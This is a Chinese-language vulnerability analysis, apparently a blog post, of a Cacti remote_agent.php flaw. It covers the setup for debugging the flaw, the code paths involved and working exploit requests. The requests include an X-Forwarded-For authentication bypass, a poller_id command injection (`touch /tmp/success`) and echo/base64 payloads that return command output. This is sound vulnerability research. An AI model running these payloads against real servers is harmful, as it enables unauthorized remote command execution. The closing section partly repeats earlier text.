cacti的命令执行和回显
环境
Docker环境安装
可直接在docker-compose.yml添加代理
environment:- HTTP_PROXY=http://your-proxy-ip:port- HTTPS_PROXY=http://your-proxy-ip:port- NO_PROXY=localhost,127.0.0.1,db
首先在linux中安装docker和dev扩展进入docker环境中,然后进入docker的bash中
docker中直接执行 # 2. 安装指定版本的 xdebug
pecl install xdebug-3.1.6# 3. 启用 xdebug 扩展
docker-php-ext-enable xdebug# 4. 重启容器
exit
docker restart <your-container> 3.1.6是php7.4 对应的debug 编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容:zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
docker容器中安装扩展debug和intelephense
最后重启docker容器,即可进行调试
触发
payload:
?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1
分析
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}set_default_action();switch (get_request_var('action')) {case 'polldata':// Only let realtime polling run for a short timeini_set('max_execution_time', read_config_option('script_timeout'));debug('Start: Poling Data for Realtime');poll_for_data();
首先,利用点在可控参数action,并且进入polldata的poll_for_data()里面。那么就先需要绕过前面的鉴权
因此分为两部分:
-
绕过权限
-
命令执行
1.绕过权限
首先 进入鉴权函数remote_client_authorized()
然后再进入赋值,获取ip的函数get_client_addr
发现循环读取了数组内的IP地址,有HTTP_X_FORWARDED_FOR
,但可以伪造成功的主要原因是最后的break 2
,直接跳出了2层循环,也就是当读取到了第一个IP后直接结束循环了。
可以看出前面都为空,当循环到了HTTP_X_FORWARDED_FOR
获取到了数据包中的X-Forwarded-For: 127.0.0.1
返回继续往下走
走到这里gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名
此时client_addr = 127.0.0.1 client_name = localhost
显然不相等,进入过滤
按.
分割去了第一个值,比如192.168.0.1,分为 192 168 0 1,取了192
但对于localhost来说没有什么用,直接返回localhost
这里执行一个sql语句,查询出一个数组,其中的hostname = localhost
在这里进行比较,二者都是localhost,返回true
至此权限通过
2.命令执行
进入poll_for_data()
获取3个值,前两个传入1 6,过滤就不再看了,看命令的过滤
就是判断这个数组里面是否有传入的值,有就返回数组里的,没有就返回GET传入的
对传入的local_data_ids数组里面的值进行循环,传入了一个[0]=6,也就是此时local_data_id=6,再次判断是否有效
如果不是数字且非空就返回报错,这里数字当然符合,继续向下,查询了两个语句
select * from poller \G;
*************************** 6. row ***************************local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 15:26:37hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username: snmp_password: snmp_auth_protocol:
snmp_priv_passphrase: snmp_priv_protocol: snmp_context: snmp_engine_id: snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2: arg3:
在数据库中查看下这个表,有6组数据,其中只有 local_data_id = 6 的action = 2,其他都为1
最终这两组语句,一个是这个row6,一个是1
进入这里判断item[’action‘]的值为2
进入这个分支中,出现了命令执行函数proc_open
proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
-
read_config_option('path_php_binary')
,它从配置中读取 PHP 二进制文件的路径。通常,这可能会返回 PHP 的可执行文件的路径,如/usr/bin/php
-
-q
是 PHP 的一个命令行选项,表示在执行 PHP 脚本时不输出任何不必要的 HTML 或额外信息。通常用于在命令行中执行 PHP 脚本时关闭默认的输出,例如 PHP 标准的页面输出等。 -
$config['base_path'] . '/script_server.php'
这部分代码构建了要执行的 PHP 脚本的路径。$config['base_path']
是配置文件中定义的基本路径,通常它指向应用程序的根目录。
假设 $config['base_path']
为 /var/www/html
,那么最终的路径就是:
/var/www/html/script_server.php
-
realtime
是传递给script_server.php
脚本的一个参数。 -
poller_id
是传递给script_server.php
脚本的另一个参数。 -
$cactides
和$pipes
是proc_open()
函数的输出参数。$pipes
是一个数组,包含标准输入、输出和错误流的管道。你可以使用这些管道与进程交互。$cactides
可能是用来存储进程的返回值或其他信息,但它在代码中未明确使用,因此可能是一个预留的变量,用于后续处理。
-
script_server.php
实现了一个服务器脚本,通过从标准输入读取指令并执行相应的功能。这个脚本能够根据不同的输入执行特定的操作,并处理来自外部传入的函数名、文件、参数等。-
这里不确定是直接在
proc_open()
执行的,还是作为参数传入script_server.php
中执行的,做了一下实验 -
//script_server.php<?php print_r($argv);//test.php<?php $cmd = '/usr/bin/php -q /var/www/html/script_server.php realtime `id`'; echo "Running: $cmd\n"; $descriptorspec = [0 => ["pipe", "r"], // stdin1 => ["pipe", "w"], // stdout2 => ["pipe", "w"], // stderr ];$process = proc_open($cmd, $descriptorspec, $pipes);if (is_resource($process)) {echo "Output:\n";while ($line = fgets($pipes[1])) {echo $line;}fclose($pipes[1]);proc_close($process); }Running: /usr/bin/php -q /var/www/html/script_server.php realtime `id` Output: Array ( [0] => /var/www/html/script_server.php [1] => realtime [2] => uid=33(www-data) [3] => gid=33(www-data) [4] => groups=33(www-data) )
由结果可以看出,传入script_server.php的参数是执行后的结果,那么执行自然是在这之前,也就是
proc_open()
;proc_open()
默认使用/bin/sh -c
方式执行命令;
-
回显
命令执行成功了,但是没有回显
继续往下看,有个对于$output的赋值,调用了exec_poll_php
看看会返回什么值
也就是继续读取管道里面的值,8192字节,最后返回输出
为什么要这要做,最终生成这样的东西,主要是绕过这里
1.十进制
2.16进制
3.有:!
且空格数量为0
4.空格数量+1==:!
其中一个的数量
payload:
|echo "test\r\n`id | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n:`id | base64 -w0`";
|echo "test\r\n:`id | base64 -w0|awk -v ORS=':' '{print $0}'`";
第2.3个payload都是满足条件3
成功回显base64编码,解码即可
补充
echo的内容中没有test,是没问题的
但是,如果没有\r\n会卡住,分析下原因
关键点:回显的数据需要满足 Cacti 的 socket 协议格式
Cacti 的 script_server.php
(你前面贴的完整源码)中明确要求:
✅ 回显数据是 一行一结果,以换行符为结尾读取
看看这个逻辑:
$input_string = fgets(STDIN, 1024); // <- 一次读取一行(直到 \n)
同样地,script_server.php 读入命令的 stdout 时,用的是:
$output = fgets($pipes[1], 1024);
即:
- 它只会读取第一行(遇到
\n
停),后面不会继续读 - 如果你的命令没有输出
\n
,那这部分就可能卡在等输出,或者读不到数据
✅ 所以 \r\n
是回显的协议边界
这是 Cacti 的脚本服务(script_server.php)与调用进程之间的**“通信协议”,以行为单位**。
如果你返回的数据中不包含 \n
,PHP 就不会:
- 正确读取你的输出
- 或者会丢失你后面的回显内容(被视为没结束)
🔬 举个具体的例子:
❌ 不带 \r\n
的输出:
echo "test:`id | base64 -w0`"
输出示例:
test:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=
→ 可能被脚本忽略,因为没有 \n
,PHP 端一直卡在读。
✅ 带 \r\n
的:
echo -e "test\r\n:`id | base64 -w0`"
输出:
test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=
→ 第一行读到 test
,第二行读到 :base64内容
,成功完成协议。
🔒 为什么要用 \r\n
(而不是只是 \n
)?
虽然 fgets()
是以 \n
为结束符,但:
- Cacti 是跨平台项目,Windows 下换行是
\r\n
- 某些版本或模块明确使用
\r\n
作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议) - 所以更保险写法是:
echo -e "line1\r\n:line2"
\r\n:id | base64 -w0
"
输出:
test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=
→ 第一行读到 `test`,第二行读到 `:base64内容`,成功完成协议。------### 🔒 为什么要用 `\r\n`(而不是只是 `\n`)?虽然 `fgets()` 是以 `\n` 为结束符,但:- **Cacti 是跨平台项目**,Windows 下换行是 `\r\n`
- 某些版本或模块明确**使用 `\r\n` 作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议)**
- 所以更保险写法是:`echo -e "line1\r\n:line2"`